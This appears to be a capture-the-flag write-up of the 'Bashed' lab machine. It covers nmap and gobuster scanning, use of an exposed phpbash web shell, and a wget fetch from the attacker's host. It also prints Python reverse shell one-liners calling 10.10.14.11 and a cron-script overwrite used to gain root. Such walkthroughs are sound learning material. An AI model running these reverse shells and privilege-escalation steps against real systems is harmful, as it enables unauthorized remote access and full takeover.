Scanning and Enumeration
nmap -sC -sV -oA lame 10.10.10.68 (out)Starting Nmap 7.80 ( https://nmap.org/ ) at 2019-12-01 18:00 EST (out)Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn (out)Nmap done: 1 IP address (0 hosts up) scanned in 3.62 seconds
I got no results and nmap suggested adding -pN. Again no results so I looked up ‘bypassing firewall with nmap’… nmap Firewall Subversion
nmap -sS -sV -P0 -oA lame 10.10.10.68 (out)Starting Nmap 7.80 ( https://nmap.org/ ) at 2019-12-01 18:05 EST (out)Nmap scan report for 10.10.10.68 (out)Host is up (0.059s latency). (out)Not shown: 999 closed ports (out)PORT STATE SERVICE VERSION (out)80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) (out) (out)Nmap done: 1 IP address (1 host up) scanned in 8.86 seconds
I’ll be using gobuster because I find I get results faster than the alternatives. If I find more than a handful of interesting directories then I might use dirbuster for the recursiveness, but first let’s see what comes up.
gobuster -u http://10.10.10.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php (out)Error: unknown shorthand flag: ‘u’ in -u
Looks like I’d updated gobuster at some point and now I need to include the scan type
gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php (out)Gobuster v3.0.1 (out)by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart) (out) (out)[+] Url: http://10.10.10.68/ (out)[+] Threads: 10 (out)[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt (out)[+] Status codes: 200,204,301,302,307,401,403 (out)[+] User Agent: gobuster/3.0.1 (out)[+] Timeout: 10s (out) (out)2019/11/24 09:02:49 Starting gobuster (out) (out)/images (Status: 301) (out)/uploads (Status: 301) (out)/php (Status: 301) (out)/css (Status: 301) (out)/dev (Status: 301) (out)/js (Status: 301) (out)/config.php (out)/fonts (Status: 301)
In the meantime, in the browser I go to http://10.10.10.68 and find that it is a site for a tool named “phpbash”. When I click the arrow to get more info, I find that it is a in-browser bash. This should be useful.
In the gobuster scan I see some directories that get my attention /uploads/, /php/ and /dev/, as well as, a file named config.php. Before scanning in any of these directories I try to just access them via the browser. The uploads directory, nothing. The config.php file, nothing. The php directory has a sendMail.php script, this may be something. The dev directory has the phpbash script.
Exploiting with phpbash
http://10.10.10.68/dev/phpbash.php is accessible which means we have a shell. 😲
As usual I will try to find the flag files I need. While I got a long list of permission denied, when I scrolled up, I did find I had access to the user.txt file. Right under it I can see I do not have permissions for /root so I need to keep working for that flag.
This is a bit of a cheat since I know the name of the file
user.txt, but you would probably want to actually list the files in the home/<user> directories and see if you find anything interesting and then use
cat to look in them since you won’t know what you are looking for IRL.
Finding Privilege Escalation
The results of the gobuster scan also showed me that there was an upload directory, that leads me to believe maybe we can upload files. There are two good options for priv esc scripts that I know of: LinEnum and linuxPrivChecker.
linuxPrivChecker is a python script so I have to be sure we have Python available:
python -v and it is. Perfect. I like this script because it gives you a list of potential exploits at the end.
This script needs to be accessible so it will need to be on a server that can be accessed from the Bashed box.
I make a directory called bashed and move the linuxprivchecker script to that directory:
mkdir ~/writeups/bashed mv ~/Downloads/linuxprivchecker/linuxprivchecker.py ~/writeups/bashed
To make the file accessible to the Bashed box a webserver is needed. Kali has one built in thanks to Python:
python -m SimpleHTTPServer 80
To get your IP address you can run:
ifconfig and grab the ip for tun0, mines is
10.10.14.11. I can’t tell you how many times I’ve grabbed the wrong IP address and spent minutes wondering WTF I am doing wrong. 😒
ifconfig (out)eth0: flags=4163
mtu 1500 (out)... (out) (out)eth1: flags=4099 mtu 1500 (out)... (out) (out)lo: flags=73 mtu 65536 (out)... (out) (out)tun0: flags=4305 mtu 1500 (out)inet 10.10.14.11 netmask 255.255.254.0 destination 10.10.14.11 (out)...
Now I get that script uploaded to the Bashed box.
cd ../uploads wget 10.10.14.11:1234/linuxprivchecker.py
That worked and our script is now available.
chmod +x linuxprivchecker.py python linuxprivchecker.py
While I run the script let me get a reverse shell going because phpbash is a little buggy and not an ideal environment as it’s frozen a few times and required a refresh.
Unprivileged Reverse Shell
nc -nlvp 1234
With netcat listening for a connection, using phpbash’s input field, I try out the connection with the Python script I found from PayloadsAllTheThings.
I wasn’t really sure if I should try the IPv4 or IPv6. Tried IPv4 and that didn’t get me anything, so I tried the IPv6 one making sure to update the ip and port:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Once a connection is established, in my new reverse shell in Kali, I continue with some more enumeration.
sudo -l (out)Matching Defaults entries for www-data on bashed: (out)env_reset, mail_badpass, (out)secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin (out) (out)User www-data may run the following commands on bashed: (out)(scriptmanager : scriptmanager) NOPASSWD: ALL
This user can run commands with no password. Dope.
Using a More Privileged User
sudo -u scriptmanager /bin/bash
I make myself the scriptmanager user and check out what is in my root dir. There is a
scripts directory. That’s unusual so I look inside. It contains
test.py file that changes the text in the
whoami (out)scriptmanager cd scripts ls -la (out)total 64 (out)drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 1 16:09 . (out)drwxr-xr-x 23 root root 4096 Dec 4 2017 .. (out)-rw-r--r-- 1 scriptmanager scriptmanager 46476 Dec 1 13:30 linuxprivchecker.sh (out)-rw-r--r-- 1 scriptmanager scriptmanager 216 Dec 1 16:08 test.py (out)-rw-r--r-- 1 root root 12 Dec 1 15:34 test.txt
A few of things I notice right away:
- test.py is owned by scriptmanager
- test.txt is owned by root
- test.txt was changed very recently 🤔
Since test.txt is owned by root, that means that the script test.py should be run by root. The user scriptmanager owns the test.py file, which means I can change the file and will run whatever we put in there as root. This looks promising.
My linuxprivchecker is done running and man does this provide an overwhelming amount of info. While skimming through the output, I see a reference to “Scheduled cron jobs” and it clicks, I suspect that test.py could be getting run automatically.
Anyways, I have no idea if this will be fruitful, but to test my theory, I change the text in the test.py file to see if the content of the test.txt file changes, but more problems.
Upgrading to an Interactive Shell
I was having some weird issues with vi which was just a hot mess and can’t use Ctrl+c to cancel Nano. Before I go any further I try to
clear my reverse shell screen, but the clear command isn’t working. Argh.
While I’ve seen a reverse shell on many walkthroughs it is my first time using one so I must have forgotten some details about how this works and Google ‘clear command reverse shell not working’. Boom: Pimp My Shell: 5 Ways to Upgrade a Netcat Shell
I recommend you read the article, but here is the tl;dr:
python -c 'import pty; pty.spawn("/bin/bash")'
echo $TERM (out)xterm-256color stty raw -echo fg
After much frustration because this just wasn’t working for me, I found the answer. My beloved zsh was the culprit. The answer was in the same place where I found the reverse shell payload. I just hadn’t read far enough: PayloadsAllTheThings
I had to do:
stty raw -echo; fg instead and then press
Enter twice. This meant I had to do everything again because my reverse shell stopped working. I teetered between 😭 and 🤬 while getting my reverse shell set up again.
And to finalize the upgrade to the interactive shell I set the TERM environment variable to xterm-256color
Getting Back to Privilege Escalation
With my working interactive shell, I get myself back to being scriptmanager user, get into uploads directory and the text in the test.py file, set a watch on the test.txt file so that I get the contents of the file every 30 seconds and go get some coffee to give it some time to see if it is in fact a cronjob.
watch -n 30 cat test.txt
When I get back in my seat, much to my delight the file contents have changed to ‘poop’, my go to test string.
Since this file is run by root, if I change it to the script for connecting to our netcat shell, I’ll be root on that shell. So I replace the contents of the test.py file with the reverse shell script:
This is the same script (though it looks prettier now) I used in phpbash to open up this reverse shell. We do not need the python -c or surrounding quotes since now it is a python file.
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.11",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
We are using a different port because we want a separate shell, in case things don’t go as expected, since I don’t want to do everything again for a third time.
nc -nlvp 8888 (out)listening on [any] 8888 ... (out)connect to [10.10.14.24] from (UNKNOWN) [10.10.10.68] 33444 (out)/bin/sh: 0: can't access tty; job control turned off
[queue Jeopardy waiting music] and there is the connection a minute later.
whoami (out)root cat /root/root.txt (out)[redacted root flag goes here]
- Never expose a shell with access to your server via your web app
- Make sure users need to authenticate to run commands
- Don't execute user scripts with root user using cronjobs